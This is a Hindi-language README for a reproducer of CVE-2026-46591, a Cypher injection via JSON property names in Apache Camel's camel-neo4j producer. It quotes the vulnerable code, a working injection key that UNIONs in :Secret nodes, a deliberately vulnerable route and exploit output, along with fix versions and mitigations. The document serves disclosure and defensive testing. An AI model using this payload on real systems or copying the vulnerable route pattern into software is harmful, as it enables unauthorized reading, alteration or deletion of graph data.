
CVE-2026-46591 के लिए रिप्रोड्यूसर: Apache Camel camel-neo4j में CamelNeo4jMatchProperties में प्रॉपर्टी नामों के माध्यम से Cypher इंजेक्शन, जो प्राधिकरण बाईपास / क्रॉस-लेबल डेटा एक्सफिल्ट्रेशन सक्षम करता है (4.14.8/4.18.3/4.21.0 में ठीक किया गया)
यह प्रोजेक्ट Apache Camel के camel-neo4j घटक में Cypher इंजेक्शन को प्रदर्शित करता है, जिसे CVE-2026-46591 के रूप में ट्रैक किया जाता है। प्रोड्यूसर अपने मैच/रीट्रीव और डिलीट ऑपरेशनों के लिए CamelNeo4jMatchProperties मैप से Cypher WHERE क्लॉज़ का निर्माण करता है। CVE-2025-66169 ने प्रॉपर्टी वैल्यूज़ के माध्यम से इंजेक्शन को उन्हें क्वेरी पैरामीटर ($paramN) के रूप में बाइंड करके संबोधित किया था — लेकिन प्रॉपर्टी नाम (उस मैप की JSON कुंजियाँ) अभी भी Neo4jProducer.retrieveNodes() और deleteNode() में क्वेरी स्ट्रिंग में शब्दशः (verbatim) जोड़े जाते हैं। इसलिए Cypher सिंटैक्स वाला प्रॉपर्टी नाम निष्पादित क्वेरी की संरचना को बदल देता है।
यह PoC प्रभाव को प्राधिकरण बायपास / डेटा एक्सफ़िलट्रेशन के रूप में प्रदर्शित करता है: एक हमलावर JSON कुंजी में Cypher डालता है ताकि एक :Person लुकअप को ( के माध्यम से) इस प्रकार फिर से लिखा जाए कि वह एक नोड भी लौटाए जिसे छूने का उसका इरादा कभी नहीं था — जो एडवाइज़री के "read, modify or delete any node or relationship" से मेल खाता है।
UNION:Secret| प्रॉपर्टी | मान |
|---|---|
| घटक | camel-neo4j |
| प्रभावित क्लास | org.apache.camel.component.neo4j.Neo4jProducer#retrieveNodes / #deleteNode (WHERE क्लॉज़ में प्रॉपर्टी नाम इंटरपोलेट किया जाता है) |
| CWE | CWE-943 (डेटा क्वेरी लॉजिक में विशेष तत्वों का अनुचित न्यूट्रलाइज़ेशन) |
| प्रभाव | Cypher इंजेक्शन → मनमाने नोड्स और रिलेशनशिप्स को पढ़ना / संशोधित करना / हटाना |
| पूर्व-शर्तें | एक रूट अविश्वसनीय इनपुट को CamelNeo4jMatchProperties मैप में मैप करता है (जैसे रिक्वेस्ट बॉडी); हेडर Camel-प्रीफिक्स्ड है, इसलिए एक सादा HTTP क्लाइंट इसे सीधे सेट नहीं कर सकता |
| प्रभावित संस्करण | 4.10.0 से 4.14.8 से पहले, 4.15.0 से 4.18.3 से पहले, 4.19.0 से 4.21.0 से पहले |
| फिक्स्ड संस्करण | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23528 (PR apache/camel#23258) |
| क्रेडिट | Yu Bao (PayPal) |
CVE-2025-66169 (CAMEL-22719) का अपूर्ण-सुधार अनुवर्ती, जिसने वैल्यूज़ को पैरामीटराइज़ किया लेकिन प्रॉपर्टी नामों को इंटरपोलेटेड छोड़ दिया। CVE-2025-27636, CVE-2026-40453 आदि के समान हेडर-इंजेक्शन-संबंधित परिवार।
// Neo4jProducer.retrieveNodes (affected 4.18.2) — the VALUE is a parameter, the NAME is concatenated verbatim:
for (Map.Entry<String, Object> entry : matchMap.entrySet()) {
if (paramIndex > 0) whereClause.append(" AND ");
String paramName = "param" + paramIndex;
whereClause.append(alias).append(".").append(entry.getKey()) // <-- entry.getKey() (the JSON key) unescaped
.append(" = $").append(paramName);
queryParams.put(paramName, entry.getValue()); // value is safely bound
paramIndex++;
}
query = String.format("MATCH (%s:%s) WHERE %s RETURN %s", alias, label, whereClause, alias);
सामान्य मैप {"name":"alice"} के साथ क्वेरी MATCH (n:Person) WHERE n.name = $param0 RETURN n होती है। एक दुर्भावनापूर्ण कुंजी के साथ:
key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node //
निर्मित क्वेरी बन जाती है (टेम्पलेट का अनुगामी // = $param0 RETURN n कमेंट कर दिया गया है):
MATCH (n:Person) WHERE n.name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node
इसलिए प्रतिक्रिया में कॉलर का :Person नोड और :Secret नोड दोनों शामिल होते हैं।
फिक्स (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23528) retrieveNodes() और deleteNode() दोनों में सख्त प्रॉपर्टी-नाम सत्यापन (^[A-Za-z_][A-Za-z0-9_]*$) जोड़ता है, जो किसी भी गैर-मेल खाते नाम को Neo4jOperationException के साथ अस्वीकार कर देता है।
from("platform-http:/lookup")
.convertBodyTo(String.class)
.setHeader(Neo4jHeaders.OPERATION, constant(Neo4Operation.RETRIEVE_NODES))
.setHeader(Neo4jHeaders.MATCH_PROPERTIES, body()) // untrusted JSON body becomes the match map
.to("neo4j:neo4j?driver=#neo4jDriver&label=Person&alias=n");
एक "प्रॉपर्टी द्वारा व्यक्ति खोजें" API: क्लाइंट मैच मानदंड JSON के रूप में प्रदान करता है, और रूट इसे CamelNeo4jMatchProperties के रूप में प्रोड्यूसर को सौंप देता है। ग्राफ़ में दो :Person नोड्स के साथ एक :Secret नोड है जिसका value व्यक्ति लुकअप को कभी नहीं लौटाना चाहिए।
विक्टिम Camel रूट और उसका Neo4j डेटाबेस है; अटैकर एक HTTP क्लाइंट है जो JSON कुंजी में Cypher डालता है। एक छोटा सीडर नोड्स को स्थापित करता है और Neo4j के तैयार होने पर ही स्टार्ट-अप की अनुमति देता है।
CVE-2026-46591/
├── pom.xml # camel-platform-http + camel-neo4j 4.18.2
├── Dockerfile
├── docker-compose.yml # neo4j 5.26 + the app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── Neo4jSettings.java # host / bolt / creds / secret flag
│ ├── Neo4jConfig.java # the Neo4j Driver bean (referenced as #neo4jDriver)
│ ├── Neo4jSeeder.java # waits for Neo4j, seeds :Person + :Secret nodes
│ ├── VictimRoute.java # platform-http:/lookup -> neo4j RETRIEVE_NODES
│ └── ExploitController.java # attacker: legit vs Cypher-in-the-JSON-key
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build # first start pulls the ~1GB neo4j image
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
=== 1) Legitimate lookup body={"name":"alice"} ===
[{name=alice, role=user}]
secret leaked: false
=== 2) Injected lookup (Cypher in the JSON key) ===
key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node //
[{name=alice, role=user}, {name=root-credentials, value=FLAG{neo4j_cypher_key_injection_CVE_2026_46591}}]
secret leaked: true
>>> Cypher-injection proof — a property NAME rewrote the query to read a :Secret node the
>>> :Person lookup should never return: true
कोई भी रूट जो RETRIEVE_NODES या DELETE_NODE ऑपरेशन के लिए अविश्वसनीय डेटा को CamelNeo4jMatchProperties में ले जाता है। UNION के माध्यम से अन्य लेबल पढ़ने के अलावा, एक इंजेक्टेड कुंजी मनमाने नोड्स और रिलेशनशिप्स को संशोधित या नष्ट करने के लिए SET/DELETE/DETACH DELETE क्लॉज़ जोड़ सकती है।
4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23528) में अपग्रेड करें। फिक्स के बाद, क्वेरी में रखे जाने से पहले प्रॉपर्टी नामों को ^[A-Za-z_][A-Za-z0-9_]*$ के विरुद्ध सत्यापित किया जाता है।
अपग्रेड करने तक, CamelNeo4jMatchProperties को अविश्वसनीय इनपुट से न भरें: Neo4j प्रोड्यूसर से पहले प्रॉपर्टी नामों को सत्यापित करें या अनुमति-सूची (allow-list) में रखें (उदाहरण के लिए ^[A-Za-z_][A-Za-z0-9_]*$ के विरुद्ध), और सुनिश्चित करें कि ऐसे रूट को फीड करने वाला कोई भी कंज़्यूमर इनबाउंड Camel* / camel* हेडर को फ़िल्टर करे ताकि मैच हेडर किसी बाहरी प्रेषक द्वारा आपूर्ति न किया जा सके।
यह रीप्रोड्यूसर केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है, एक सार्वजनिक रूप से प्रकट और फिक्स्ड भेद्यता के लिए। बिना स्पष्ट अनुमति के इसे सिस्टम के विरुद्ध उपयोग न करें।